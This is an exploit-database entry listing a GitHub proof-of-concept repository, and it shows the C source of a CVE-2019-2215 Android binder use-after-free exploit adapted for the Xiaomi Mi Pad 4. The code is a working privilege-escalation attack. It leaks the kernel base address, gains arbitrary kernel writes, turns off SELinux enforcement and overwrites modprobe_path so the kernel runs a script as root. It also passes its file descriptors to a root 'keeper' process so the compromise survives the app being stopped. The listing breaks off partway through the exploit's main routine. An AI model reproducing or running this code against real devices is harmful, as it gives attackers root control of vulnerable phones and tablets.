Exploit database

GH-15c5bc82a645186235e570cbaed15511

rxinnotrstar/cve-2019-2215-formipad4-new-gui

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2019-2215

37 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

app/src/main/cpp/cve2215_clover.c

C · 37,813 bytes
/*
 * CVE-2019-2215 适配版(Xiaomi Mi Pad 4 / clover / 4.4.78)
 *
 * 与 Pixel 2 原版的差异:
 *   binder_thread: wait=0xA0, task=0x180, sizeof=0x188(原版 0xA0/0x190/0x198)
 *   iovec 数组用 24 项(0x180 字节),正好不覆盖 task 字段
 *   泄漏页从 freed+0xA8 开始,task 在页内偏移 0xD8
 *   本机 thread_info 在栈底,不走 addr_limit;改用:
 *     1) 双 epoll 项让 list_del 把 iov[11].base 改成另一个 eppoll_entry 的地址,
 *        从该页里扫描 ep_poll_callback 指针得到 KASLR 基址
 *     2) 用 socket 自改写 iovec 的任意写原语,写 selinux_enforcing=0 与 modprobe_path
 *     3) 触发未知 binfmt,内核以 root 执行 modprobe_path 指向的脚本
 *
 * 用法:
 *   ./cve2215_clover leak
 *   ./cve2215_clover kwrite <目标地址hex> <数据hex>
 *   ./cve2215_clover auto <ep_poll_callback偏移hex> <selinux_enforcing偏移hex> <modprobe_path偏移hex> <脚本路径>
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/epoll.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/un.h>
#include <stddef.h>
#include <signal.h>
#include <stdarg.h>
#include <setjmp.h>
#include "cve2215_clover.h"

#ifndef PR_SET_PDEATHSIG
#define PR_SET_PDEATHSIG 1
#endif

#define BINDER_THREAD_EXIT 0x40046208ul
#define IOV_NUM 24
#define IOV_IDX 10
#define LEAK_TASK_PAGE_OFF 0xD8

/* 本机 KASLR 粒度是 0x80000(512KB),不是 2MB。
 * 历史三次实跑的 base 全部满足 (base & 0x1fffff) == 0x80000:
 *   0xffffff9d03a80000 / 0xffffff817a280000 / 0xffffff8a31280000
 * 偏移表对了这个值恒成立,偏移表错了几乎不可能还是 0x80000。
 * 所以它是"偏移是否可信"最便宜的一道判据,必须在写入内核之前用起来。 */
#define KASLR_ALIGN_MASK 0x1fffffULL
#define KASLR_EXPECT_LOW 0x80000ULL

/* 内核指针的合法范围(本机 39 位 VA,直接映射与文本区都在这一带)。
 * 基址和泄漏出来的 task 指针共用同一个范围。 */
#define KERNEL_PTR_MIN 0xffffff8000000000ULL
#define KERNEL_PTR_MAX 0xffffffc000000000ULL

static char g_log_path[512] = "/data/local/tmp/cve2215_progress.log";
static char g_trigger_path[512] = "/data/local/tmp/.cve2215_trigger";
jmp_buf g_fail_jmp;
int g_jni_mode = 0;

static void *dummy_page = NULL;

/* 每条日志行首加毫秒级本地时间戳;分多次调用拼出来的一行只在行首打一次 */
static int g_at_line_start = 1;

static int stamp_prefix(char *out, size_t size) {
    struct timespec ts;
    struct tm tm;
    if (clock_gettime(CLOCK_REALTIME, &ts) != 0) return 0;
    if (!localtime_r(&ts.tv_sec, &tm)) return 0;
    int n = snprintf(out, size, "%02d-%02d %02d:%02d:%02d.%03ld ",
                     tm.tm_mon + 1, tm.tm_mday, tm.tm_hour, tm.tm_min, tm.tm_sec,
                     (long)(ts.tv_nsec / 1000000L));
    return n < 0 ? 0 : n;
}

static void log_line(const char *fmt, ...) {
    char buf[1024];
    char out[1600];
    va_list ap;
    va_start(ap, fmt);
    int n = vsnprintf(buf, sizeof(buf), fmt, ap);
    va_end(ap);
    if (n < 0) return;
    if (n > (int)sizeof(buf) - 1) n = (int)sizeof(buf) - 1;
    int o = 0;
    for (int i = 0; i < n && o < (int)sizeof(out) - 40; i++) {
        if (g_at_line_start) {
            o += stamp_prefix(out + o, sizeof(out) - (size_t)o);
            g_at_line_start = 0;
        }
        out[o++] = buf[i];
        if (buf[i] == '\n') g_at_line_start = 1;
    }
    if (o <= 0) return;
    /* 0.96a:保证每条都自成一行。之前有 5 处调用没带换行,
     * 日志里就出现 "enforce = 0[*] kwrite ..." 这种两行粘成一行的情况。 */
    if (o < (int)sizeof(out) - 2 && out[o - 1] != '\n') {
        out[o++] = '\n';
        g_at_line_start = 1;
    }
    write(2, out, o);
    int fd = open(g_log_path, O_WRONLY | O_CREAT | O_APPEND, 0644);
    if (fd >= 0) { write(fd, out, o); fsync(fd); close(fd); }
}

void cve2215_log_status(const char *msg) {
    log_line("%s\n", msg);
}

/* ---------- keeper:把悬空 epoll 的 fd 交给 App 之外的进程 ---------- */
#define MAX_HANDOFF_FD 64
static int g_fds[MAX_HANDOFF_FD];
static int g_nfds;
/* keeper socket 名的唯一真源是 RootService.KEEPER_NAME(Java 侧)。
 * 这里默认留空:native 不再持有第二份名字,避免改一处漏两处导致跨域握手断掉。
 * 名字由 JNI 的 start() 传进来(cve2215_set_keeper),空名会被 JNI 层直接拒绝(返回 -7)。 */
static char g_keeper_name[128] = "";
static int g_handed_off;
/* handoff 的结果要能被失败路径查询,否则"keeper 不在"这件事只能从日志里看出来。
 *   g_handoff_ok   1 = 退出安全:没有 fd 需要交,或 fd 已全部交给 keeper
 *   g_handoff_tried 1 = 已经真连过一次 keeper,无论成败都不再重试
 *                       (失败后重连没有任何意义,只会让失败路径多等 3 秒轮询) */
static int g_handoff_ok;
static int g_handoff_tried;

/* 等父进程真正阻塞在系统调用里,用来替换固定的 sleep(2)。
 *
 * 固定延迟的问题是两头都不对:
 *   太短 —— 父进程还没把 iovec 数组落到内核块上,子进程就删了 epoll,
 *           list_del 改写的是一块还没被占用的内存,白白失败;
 *   太长 —— 期间任何内核分配都可能抢走那块 slab,list_del 就写到别人身上。
 * 读 /proc/<pid>/stat 的 state 字段,连续几次都为睡眠态才认为已经进入
 * writev / recvmsg,此时 iovec 数组一定在位并持有。 */
static int wait_parent_sleeping(pid_t parent, int timeout_ms) {
    char path[64];
    snprintf(path, sizeof(path), "/proc/%d/stat", (int)parent);
    int stable = 0;
    int elapsed = 0;
    while (elapsed < timeout_ms) {
        int fd = open(path, O_RDONLY);
        if (fd >= 0) {
            char buf[512];
            ssize_t n = read(fd, buf, sizeof(buf) - 1);
            close(fd);
            if (n > 0) {
                buf[n] = 0;
                /* pid (comm) state ...;comm 里可能有空格和括号,从最后一个 ')' 之后取 */
                char *p = strrchr(buf, ')');
                char st = (p && p[1] == ' ' && p[2]) ? p[2] : 0;
                if (st == 'S' || st == 'D') {
                    if (++stable >= 3) return 0;
                } else {
                    stable = 0;
                }
            }
        }
        usleep(10000);
        elapsed += 10;
    }
    return -1;
}

/* UAF 轮数统计:
 *   g_uaf_rounds  总共做了几次(每建一套 binder+epoll 算一次)
 *   g_uaf_streak  连续失败几次(成功一次就清零)
 * 判断"该不该继续"看的是连续失败,而不是总数——
 * 成功过说明这条路当前是通的,没必要因为前面试得多就停。 */
static int g_uaf_rounds;
static int g_uaf_streak;

static void track_fd(int fd) {
    if (fd < 0) return;
    if (g_nfds >= MAX_HANDOFF_FD) return;
    for (int i = 0; i < g_nfds; i++) if (g_fds[i] == fd) return;
    g_fds[g_nfds++] = fd;
}

void cve2215_set_keeper(const char *name) {
    if (!name || !name[0]) return;
    strncpy(g_keeper_name, name, sizeof(g_keeper_name) - 1);
    g_keeper_name[sizeof(g_keeper_name) - 1] = 0;
}

/* 把打开的 fd 通过 SCM_RIGHTS 交给 keeper。
 * keeper 由内核 helper 以 uid 0 启动,不在 App 的 uid / acct cgroup 里,
 * force-stop 打不到它;它按着这些 fd,epoll 文件对象就不会析构,
 * 内核也就永远走不到 remove_wait_queue,App 可以被随便杀。 */
static int handoff_fds(void) {
    if (g_handed_off) { g_handoff_ok = 1; return 1; }
    if (g_nfds <= 0) {
        log_line("[*] keeper: 本次没有需要托管的 fd\n");
        g_handoff_ok = 1;   /* 没有悬空对象,退出不会触发内核清理 */
        return 1;
    }
    /* 名字为空说明调用方没传 keeper 名(JNI 层已经挡掉,这里只是第二道防线):
     * 空名的抽象 socket 连不上,硬连只会打出误导人的 EINVAL。 */
    if (g_keeper_name[0] == 0) {
        log_line("[!] keeper: 没有设置 socket 名,跳过托孤(fd 仍由本进程持有)\n");
        return 0;
    }
    if (g_handoff_tried) return g_handoff_ok;
    g_handoff_tried = 1;
    int s = socket(AF_UNIX, SOCK_STREAM, 0);
    if (s < 0) {
        log_line("[!] keeper: socket 失败 %s\n", strerror(errno));
        return 0;
    }
    struct sockaddr_un a;
    memset(&a, 0, sizeof a);
    a.sun_family = AF_UNIX;
    const char *nm = g_keeper_name;
    if (nm[0] == '@') nm++;
    a.sun_path[0] = 0;
    strncpy(a.sun_path + 1, nm, sizeof(a.sun_path) - 2);
    socklen_t len = (socklen_t)(offsetof(struct sockaddr_un, sun_path) + 1 + strlen(nm));

    /* keeper 是 payload.sh 里刚起来的,可能还在 bind。
     * 这里轮询 3 秒,避免因为几十毫秒的时差白白丢掉托孤机会。 */
    int connected = 0;
    for (int i = 0; i < 15; i++) {
        if (connect(s, (struct sockaddr *)&a, len) == 0) {
            connected = 1;
            if (i > 0) log_line("[*] keeper 第 %d 次尝试才连上\n", i + 1);
            break;
        }
        if (i == 0) {
            log_line("[*] keeper 暂未就绪(%s),开始轮询\n", strerror(errno));
        }
        usleep(200000);
    }
    if (!connected) {
        log_line("[!] keeper 连接失败 errno=%d (%s),fd 仍由本进程持有,暂时不能杀 App\n",
                 errno, strerror(errno));
        log_line("[!] 多半是内核 helper 没执行部署脚本,检查 deploy.log 是否存在\n");
        close(s);
        return 0;
    }

    char cbuf[CMSG_SPACE(sizeof(int) * MAX_HANDOFF_FD)];
    char data = 'H';
    struct iovec io;
    struct msghdr m;
    memset(&m, 0, sizeof m);
    memset(cbuf, 0, sizeof cbuf);
    io.iov_base = &data;
    io.iov_len = 1;
    m.msg_iov = &io;
    m.msg_iovlen = 1;
    m.msg_control = cbuf;
    m.msg_controllen = CMSG_SPACE(sizeof(int) * g_nfds);
    struct cmsghdr *cm = CMSG_FIRSTHDR(&m);
    cm->cmsg_level = SOL_SOCKET;
    cm->cmsg_type = SCM_RIGHTS;
    cm->cmsg_len = CMSG_LEN(sizeof(int) * g_nfds);
    memcpy(CMSG_DATA(cm), g_fds, sizeof(int) * g_nfds);

    ssize_t w = sendmsg(s, &m, 0);
    if (w < 0) {
        log_line("[!] keeper: sendmsg 失败 errno=%d (%s),fd 仍由本进程持有\n",
                 errno, strerror(errno));
        close(s);
        return 0;
    }
    char resp[8] = {0};
    ssize_t r = read(s, resp, sizeof(resp) - 1);
    close(s);
    if (r > 0 && resp[0] == 'O') {
        g_handed_off = 1;
        g_handoff_ok = 1;
        log_line("[+] 已把 %d 个 fd 交给 keeper(其身份独立于本 App)\n", g_nfds);
        log_line("[+] 现在可以随意强制停止本 App,内核不会清理悬空 epoll\n");
        return 1;
    }
    log_line("[!] keeper 没有确认(r=%zd),fd 仍由本进程持有\n", r);
    return 0;
}

/* handoff 的结果查询。任务书里写的是"先问 keeper_ready() 再 handoff",
 * 但 keeper 到底在不在只有连一次才知道,所以这里把顺序写成"先 handoff、
 * 再问结果"——语义相同(最终都取决于这次握手的成败),少一次重复轮询。
 * 只要成功过一次就恒为真;没有 fd 需要交也算安全。 */
static int keeper_ready(void) {
    if (!g_handoff_ok) handoff_fds();
    return g_handoff_ok;
}

/* 失败之后的唯一出口。
 *
 * 为什么需要它:每一次 binder UAF 都会在本进程里留下悬空的 epoll 引用。
 * 只要进程还活着,文件对象就不析构,内核不会走到 remove_wait_queue;
 * 一旦进程退出(或 App 被强杀),内核清理这条引用时可能写到已被复用的内存,
 * 直接 panic 并丢掉已经拿到的状态。
 *
 * 所以:keeper 在 —— fd 已经托管给别人,可以安全退出;
 *       keeper 不在 —— 一个 fd 都交不出去,只能常驻不退,等用户重启。
 * 这条路径下的原则是"宁可不退,也不能退"。 */
static void fail_stay_alive(const char *why) {
    if (why && why[0]) log_line("[-] %s\n", why);
    log_line("[*] 停止后续所有内核写入(本次不再尝试任何地址)\n");
    if (keeper_ready()) {
        log_line("[*] keeper 在,%d 个 fd 已托管,进程可以安全退出\n", g_nfds);
        return;
    }
    log_line("[-] keeper 不在,进程必须保持存活,否则关闭悬空 epoll 会触发 panic\n");
    log_line("[-] 必须重启设备后再试,不要强杀本进程\n");
    log_line("[-] 本次约留下 %d 个悬空 epoll 项(本进程持有 %d 个 fd)\n",
             g_uaf_rounds, g_nfds);
    log_line("[*] 进程开始常驻,不再退出\n");
    for (;;) sleep(3600);
}

static void die(const char *msg) {
    log_line("[-] %s: %s\n", msg, strerror(errno));
    if (g_jni_mode) longjmp(g_fail_jmp, 1);
    exit(1);
}

static void setup_dummy_page(void) {
    void *want = (void *)0x100000000UL;
    void *p = mmap(want, 0x2000, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
    if (p != want) {
        p = mmap(want, 0x2000, PROT_READ | PROT_WRITE,
                 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    }
    if (p != want) {
        log_line("[-] mmap 4g aligned failed, got %p\n", p);
        die("mmap 4g aligned");
    }
    memset(p, 0, 0x2000);
    dummy_page = p;
}

static int make_binder(void) {
    int fd = open("/dev/binder", O_RDONLY);
    if (fd < 0) die("open /dev/binder");
    track_fd(fd);
    return fd;
}

static int add_epoll(int epfd, int binder_fd, int op) {
    struct epoll_event ev;
    memset(&ev, 0, sizeof(ev));
    ev.events = EPOLLIN;
    return epoll_ctl(epfd, op, binder_fd, &ev);
}

/* ---------- 阶段 1:双 epoll 项泄漏 KASLR ---------- */
static int leak_kaslr_page(unsigned char *page, uint64_t *freed_out) {
    int binder_fd = make_binder();
    int ep_tail = epoll_create(1000);   /* 先加,位于链表尾部 */
    int ep_head = epoll_create(1000);   /* 后加,位于链表头部 */
    if (ep_tail < 0 || ep_head < 0) die("epoll_create");
    track_fd(ep_tail);
    track_fd(ep_head);
    if (add_epoll(ep_tail, binder_fd, EPOLL_CTL_ADD)) die("epoll add tail");
    if (add_epoll(ep_head, binder_fd, EPOLL_CTL_ADD)) die("epoll add head");

    struct iovec iov[IOV_NUM];
    memset(iov, 0, sizeof(iov));
    iov[IOV_IDX].iov_base = dummy_page;
    iov[IOV_IDX].iov_len = 0x1000;
    iov[IOV_IDX + 1].iov_base = (void *)0xdeadbeefUL;
    iov[IOV_IDX + 1].iov_len = 0x1000;

    int p[2];
    if (pipe(p)) die("pipe");
    if (fcntl(p[0], F_SETPIPE_SZ, 0x1000) != 0x1000) {
        log_line("[-] F_SETPIPE_SZ 不是 0x1000,放弃本次泄漏(尚未触发 UAF)\n");
        return -1;
    }

    g_uaf_rounds++;
    pid_t child = fork();
    if (child < 0) die("fork");
    if (child == 0) {
        prctl(PR_SET_PDEATHSIG, SIGKILL);
        /* 等父进程把 iovec 数组写进内核并阻塞在 writev 上,再删 epoll */
        if (wait_parent_sleeping(getppid(), 3000) != 0) usleep(300000);
        add_epoll(ep_tail, binder_fd, EPOLL_CTL_DEL);
        char tmp[0x1000];
        ssize_t r = read(p[0], tmp, 0x1000);
        (void)r;
        _exit(0);
    }

    if (ioctl(binder_fd, BINDER_THREAD_EXIT, NULL))
        log_line("[!] BINDER_THREAD_EXIT errno=%d\n", errno);

    ssize_t w = writev(p[1], iov, IOV_NUM);
    log_line("[*] writev 返回 0x%lx\n", (unsigned long)w);
    if (w != 0x2000) {
        log_line("[-] writev 短写 0x%lx,放弃本次泄漏(跳过 pipe read,避免死锁)\n",
                 (unsigned long)w);
        int st = 0;
        waitpid(child, &st, 0);
        return -1;
    }
    ssize_t r = read(p[0], page, 0x1000);
    int status = 0;
    waitpid(child, &status, 0);
    if (r != 0x1000) {
        log_line("[-] 泄漏页读取失败 r=0x%lx\n", (unsigned long)r);
        return -1;
    }
    uint64_t first = *(uint64_t *)page;
    *freed_out = first - 0xA8;
    log_line("[+] 泄漏页首值 0x%lx, 推算 freed=0x%lx\n",
             (unsigned long)first, (unsigned long)*freed_out);
    return 0;
}

static int is_text_ptr(uint64_t v) {
    return v >= 0xffffff8000000000ULL && v < 0xffffffc000000000ULL &&
           (v & 0xfff) != 0;
}

static int find_most_common_text(unsigned char *page, uint64_t *out,
                                 int use_filter, uint32_t low12) {
    uint64_t vals[512];
    int cnt[512];
    int n = 0;
    for (int off = 0; off + 8 <= 0x1000; off += 8) {
        uint64_t v = *(uint64_t *)(page + off);
        if (!is_text_ptr(v)) continue;
        if (use_filter && (v & 0xfff) != low12) continue;
        int found = -1;
        for (int i = 0; i < n; i++) if (vals[i] == v) { found = i; break; }
        if (found < 0) {
            if (n < 512) { vals[n] = v; cnt[n] = 1; n++; }
        } else cnt[found]++;
    }
    int best = -1;
    for (int i = 0; i < n; i++) {
        if (best < 0 || cnt[i] > cnt[best]) best = i;
    }
    if (best < 0) {
        /* 仅日志,不改返回逻辑:过滤开着却一个候选都没有,说明这页根本不是
         * eppoll_entry 所在页(或者页已被别的对象复写)。 */
        if (use_filter)
            log_line("[!] 本页没有 0x%x 结尾的文本指针,说明这页不是 eppoll_entry 所在页\n",
                     low12);
        return -1;
    }
    *out = vals[best];
    log_line("[+] 页内文本指针候选 %d 个,最多者 0x%lx 出现 %d 次\n",
             n, (unsigned long)vals[best], cnt[best]);
    /* 记录出现位置,确认是否按 slab 对象步长等距分布 */
    int prev = -1, deltas[8], nd = 0;
    for (int off = 0; off + 8 <= 0x1000; off += 8) {
        if (*(uint64_t *)(page + off) == vals[best]) {
            if (prev >= 0 && nd < 8) deltas[nd++] = off - prev;
            prev = off;
        }
    }
    if (nd > 0) {
        log_line("[*] 该指针相邻间隔:");
        for (int i = 0; i < nd; i++) log_line(" 0x%x", deltas[i]);
        log_line("\n");
    }
    return 0;
}

/* 基址是否可信:低 21 位必须等于 0x80000,且落在内核地址带里。
 * 判据数值与 0.8 完全一致,一个字都没放宽。
 *
 * 单独抽成 noinline 函数是有原因的:如果这段判断以内联形式出现在写完
 * 泄漏循环之后,优化器能顺着"只有通过循环里那条同样的判断才能到这儿"
 * 把整段复核证明成恒假并删掉(实测 -O2 下字符串直接不进 .so)。加
 * noinline 之后,写内核之前那道复核在二进制里真实存在,不依赖循环结构。 */
__attribute__((noinline))
static int base_is_trusted(uint64_t base) {
    uint64_t low = base & KASLR_ALIGN_MASK;
    return (low == KASLR_EXPECT_LOW) &&
           base >= KERNEL_PTR_MIN && base < KERNEL_PTR_MAX;
}

/* ---------- 阶段 2:任意内核写(socket 自改写 iovec) ---------- */
static int kwrite_once(uint64_t target, const void *data, size_t len) {
    if (len == 0 || len > 0x800) return -1;
    int binder_fd = make_binder();
    int epfd = epoll_create(1000);
    if (epfd < 0) die("epoll_create");
    track_fd(epfd);
    if (add_epoll(epfd, binder_fd, EPOLL_CTL_ADD)) die("epoll add");

    struct iovec iov[IOV_NUM];
    memset(iov, 0, sizeof(iov));
    iov[IOV_IDX].iov_base = dummy_page;
    iov[IOV_IDX].iov_len = 1;
    iov[IOV_IDX + 1].iov_base = (void *)0xdeadbeefUL;
    iov[IOV_IDX + 1].iov_len = 0x28;
    iov[IOV_IDX + 2].iov_base = (void *)0xbeefdeadUL;
    iov[IOV_IDX + 2].iov_len = len;

    size_t chunk_len = 0x28 + len;
    unsigned char *chunk = malloc(chunk_len);
    if (!chunk) die("malloc chunk");
    memset(chunk, 0, chunk_len);
    uint64_t *q = (uint64_t *)chunk;
    q[0] = 1;
    q[1] = 0xdeadbeefUL;
    q[2] = 0x28;
    q[3] = target;
    q[4] = len;
    memcpy(chunk + 0x28, data, len);

    int socks[2];
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks)) die("socketpair");
    if (write(socks[1], "X", 1) != 1) die("socket X");

    g_uaf_rounds++;
    pid_t child = fork();
    if (child < 0) die("fork");
    if (child == 0) {
        prctl(PR_SET_PDEATHSIG, SIGKILL);
        /* 等父进程阻塞在 recvmsg 上:此时 iovec 数组已经在内核块里 */
        if (wait_parent_sleeping(getppid(), 3000) != 0) usleep(300000);
        add_epoll(epfd, binder_fd, EPOLL_CTL_DEL);
        ssize_t w = write(socks[1], chunk, chunk_len);
        if (w != (ssize_t)chunk_len) _exit(2);
        _exit(0);
    }

    if (ioctl(binder_fd, BINDER_THREAD_EXIT, NULL))
        log_line("[!] BINDER_THREAD_EXIT errno=%d\n", errno);

    struct msghdr msg;
    memset(&msg, 0, sizeof(msg));
    msg.msg_iov = iov;
    msg.msg_iovlen = IOV_NUM;
    ssize_t r = recvmsg(socks[0], &msg, MSG_WAITALL);
    int status = 0;
    waitpid(child, &status, 0);
    /* 期望:1 字节哨兵 + 0x28 改写块 + len 数据 */
    ssize_t want = (ssize_t)(len + 0x29);
    log_line("[*] kwrite 目标 0x%lx 长度 %zu, recvmsg=0x%lx (期望 0x%lx), child=%d\n",
             (unsigned long)target, len, (unsigned long)r, (unsigned long)want,
             WEXITSTATUS(status));
    free(chunk);
    close(socks[0]);
    close(socks[1]);
    if (r != want) {
        log_line("[-] kwrite 字节数不符,本次写入没有落到目标地址\n");
        return -1;
    }
    return 0;
}

/* 带重试的内核写:每次重试都会重新做一次 binder UAF,代价小、成功率高 */
static int kwrite_retry(uint64_t target, const void *data, size_t len, int attempts) {
    for (int i = 0; i < attempts; i++) {
        if (g_uaf_streak >= 5 || g_uaf_rounds >= 16) {
            log_line("[-] 连续失败 %d 次、累计 %d 次 UAF,停止重试(继续只会让 slab 更脏)\n",
                     g_uaf_streak, g_uaf_rounds);
            log_line("[-] 本次必须重启,不要继续尝试\n");
            return -1;
        }
        if (kwrite_once(target, data, len) == 0) {
            if (i > 0) log_line("[+] 第 %d 次重试写入成功\n", i + 1);
            g_uaf_streak = 0;
            return 0;
        }
        g_uaf_streak++;
        log_line("[!] kwrite 第 %d/%d 次失败(连续失败 %d 次),200ms 后重试\n",
                 i + 1, attempts, g_uaf_streak);
        usleep(200000);
    }
    return -1;
}

static long trigger_modprobe(const char *script) {
    const char *trig = g_trigger_path;
    int fd = open(trig, O_WRONLY | O_CREAT | O_TRUNC, 0777);
    if (fd >= 0) {
        unsigned char magic[4] = {0xff, 0xff, 0xff, 0xff};
        write(fd, magic, 4);
        close(fd);
        chmod(trig, 0777);
    }
    char *argv[] = {(char *)trig, NULL};
    char *envp[] = {"PATH=/sbin:/system/bin:/system/xbin", NULL};
    struct timespec t0, t1;
    clock_gettime(CLOCK_MONOTONIC, &t0);
    execve(trig, argv, envp);
    int saved = errno;
    clock_gettime(CLOCK_MONOTONIC, &t1);
    long ms = (t1.tv_sec - t0.tv_sec) * 1000L + (t1.tv_nsec - t0.tv_nsec) / 1000000L;
    log_line("[*] execve 触发文件返回 errno=%d,耗时 %ld ms\n", saved, ms);
    if (ms < 500) {
        log_line("[-] 返回太快,request_module 没有等待 helper,说明 modprobe_path 没写进去\n");
        return ms;
    }
    log_line("[+] 耗时足够长,说明内核确实去执行了 modprobe_path 指向的脚本\n");
    return ms;
}

int cve2215_main(int argc, char **argv) {
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    /* auto 模式默认脱离终端在后台跑:后面阶段会故意让进程常驻,
       避免关闭悬空 epoll 触发清理。设 CVE2215_FG=1 可保持前台。 */
    if (argc >= 6 && strcmp(argv[1], "auto") == 0 && getenv("CVE2215_FG") == NULL) {
        if (setsid() < 0) { /* 已是会话首进程时忽略 */ }
        pid_t p = fork();
        if (p != 0) return 0;
        int dn = open("/dev/null", O_RDWR);
        if (dn >= 0) {
            dup2(dn, 0); dup2(dn, 1); dup2(dn, 2);
            if (dn > 2) close(dn);
        }
    }

    setup_dummy_page();

    if (argc >= 2 && strcmp(argv[1], "leak") == 0) {
        unsigned char *page = malloc(0x1000);
        uint64_t freed = 0;
        if (leak_kaslr_page(page, &freed)) return 1;
        uint64_t task = *(uint64_t *)(page + LEAK_TASK_PAGE_OFF);
        log_line("[+] current task = 0x%lx (页偏移 0x%x)\n",
                 (unsigned long)task, LEAK_TASK_PAGE_OFF);
        uint64_t func = 0;
        if (find_most_common_text(page, &func, 0, 0) == 0)
            log_line("[+] 疑似 ep_poll_callback = 0x%lx\n", (unsigned long)func);
        return 0;
    }

    if (argc >= 4 && strcmp(argv[1], "kwrite") == 0) {
        uint64_t addr = strtoull(argv[2], NULL, 16);
        const char *hex = argv[3];
        size_t hexlen = strlen(hex);
        size_t len = hexlen / 2;
        unsigned char *buf = malloc(len);
        if (!buf) die("malloc buf");
        for (size_t i = 0; i < len; i++) {
            unsigned int b;
            sscanf(hex + i * 2, "%2x", &b);
            buf[i] = (unsigned char)b;
        }
        int r = kwrite_once(addr, buf, len);
        free(buf);
        return r ? 1 : 0;
    }

    if (argc >= 6 && strcmp(argv[1], "auto") == 0) {
        uint64_t off_ep = strtoull(argv[2], NULL, 0);
        uint64_t off_selinux = strtoull(argv[3], NULL, 0);
        uint64_t off_modprobe = strtoull(argv[4], NULL, 0);
        const char *script = argv[5];
        log_line("[*] auto: ep=0x%lx selinux=0x%lx modprobe=0x%lx script=%s\n",
                 (unsigned long)off_ep, (unsigned long)off_selinux,
                 (unsigned long)off_modprobe, script);

        /* 泄漏阶段是整个流程里最靠运气的一步:读写都发生在一条受时序影响的
         * slab 复用链上。每次重试都是全新的 binder fd + 全新 epoll,只要旧 fd
         * 不关闭、进程不退出,之前那条悬空引用就不会被清理,所以重试本身是
         * 安全的。唯一代价是每失败一次多留一个悬空对象,因此上限设为 3 次。 */
        unsigned char *page = malloc(0x1000);
        uint64_t freed = 0;
        uint64_t func = 0;
        uint64_t base = 0;
        uint64_t base_low = 0;
        int leak_ok = 0;
        const int LEAK_TRIES = 3;
        for (int attempt = 1; attempt <= LEAK_TRIES; attempt++) {
            /* 本次失败之后还剩几次机会;日志里必须让读的人一眼看出这点 */
            int left = LEAK_TRIES - attempt;
            log_line("[*] 泄漏尝试 %d/%d(失败后还剩 %d 次)\n", attempt, LEAK_TRIES, left);
            if (leak_kaslr_page(page, &freed)) {
                g_uaf_streak++;
                if (attempt < LEAK_TRIES) {
                    log_line("[!] 第 %d/%d 次泄漏失败(读不到有效页),还剩 %d 次,重新建一套 fd 再试\n",
                             attempt, LEAK_TRIES, left);
                    usleep(300000);
                    continue;
                }
                log_line("[-] 泄漏连续失败 %d 次,停止(内核一个字都没写)\n", LEAK_TRIES);
                log_line("[-] 本次已留下 %d 个悬空 epoll 项,重启后再试\n", g_uaf_rounds);
                /* 失败也交接:这些 fd 里有已经触发过 UAF 的 binder/epoll,
                 * 交给 keeper 后再杀 App 同样安全;keeper 不在时必须常驻,不能退。 */
                fail_stay_alive("泄漏重试全部失败");
                return 1;
            }
            uint64_t task_tmp = *(uint64_t *)(page + LEAK_TASK_PAGE_OFF);
            /* 0.10:task 指针校验从"失败条件"降级为"只记录"。
             * 结构事实:泄漏用的 iovec 数组是 24 项 = 0x180 字节,正好覆盖对象
             * 偏移 0x000 到 0x17F,而 task 字段在 0x180,本来就不被 iovec 覆盖。
             * 所以 0xD8 处读到 SLUB 毒化值(高 16 位 0xdead)只说明该对象当时处于
             * free 状态,这是 SLUB 的正常行为,不代表页被别人抢走。0.8 与 0.9 把
             * 它当失败条件,反而把有效页误杀了(2026-11-02 23:56 成功那次 0xD8 是
             * 真实 task 指针,2026-11-03 01:17 三次尝试有两次是毒化值与异常值)。
             * 真正把关的是下面 find_most_common_text 的 0x9dc 过滤与基址对齐校验,
             * 两者一个数值都没改。 */
            if (task_tmp >= KERNEL_PTR_MIN && task_tmp < KERNEL_PTR_MAX &&
                (task_tmp & 0xf) == 0) {
                log_line("[+] current task = 0x%lx(task 指针形态正常)\n",
                         (unsigned long)task_tmp);
            } else if ((task_tmp >> 48) == 0xdeadULL) {
                log_line("[!] current task = 0x%lx 是 SLUB 毒化值,说明该对象处于 free 状态。"
                         "iovec 只覆盖 0x000 到 0x17F,task 在 0x180 不被覆盖,"
                         "毒化属预期,不作为失败条件\n", (unsigned long)task_tmp);
            } else {
                log_line("[!] current task = 0x%lx 形态异常,仅记录。"
                         "真正把关的是 ep_poll_callback 候选过滤与基址对齐校验\n",
                         (unsigned long)task_tmp);
            }
            if (find_most_common_text(page, &func, 1, 0x9dc)) {
                g_uaf_streak++;
                if (attempt < LEAK_TRIES) {
                    log_line("[!] 第 %d/%d 次的页里没有 ep_poll_callback 候选,还剩 %d 次,重试\n",
                             attempt, LEAK_TRIES, left);
                    usleep(300000);
                    continue;
                }
                log_line("[-] 连续 %d 次都没找到候选,停止(内核一个字都没写)\n", LEAK_TRIES);
                fail_stay_alive("泄漏页里找不到 ep_poll_callback 候选");
                return 1;
            }
            /* 0.9:基址校验也搬进循环。对齐与范围这两条判据一个数值都没改,
             * 只是把"不通过"的处理从直接放弃改成"还有次数就重新泄漏一次"。 */
            base = func - off_ep;
            base_low = base & KASLR_ALIGN_MASK;
            log_line("[+] 内核基址 = 0x%lx (低 21 位 0x%lx,期望 0x%lx)\n",
                     (unsigned long)base, (unsigned long)base_low,
                     (unsigned long)KASLR_EXPECT_LOW);
            /* 第 1 项:对齐校验不再只是打印,不通过就一个字节都不写。
             * 这是"偏移表对不对"最便宜的判据:对的时候这个值恒为 0x80000。 */
            if (base_low != KASLR_EXPECT_LOW ||
                base < KERNEL_PTR_MIN || base >= KERNEL_PTR_MAX) {
                g_uaf_streak++;
                if (base_low != KASLR_EXPECT_LOW)
                    log_line("[-] 基址低 21 位是 0x%lx,期望 0x80000。偏移表或泄漏页不对\n",
                             (unsigned long)base_low);
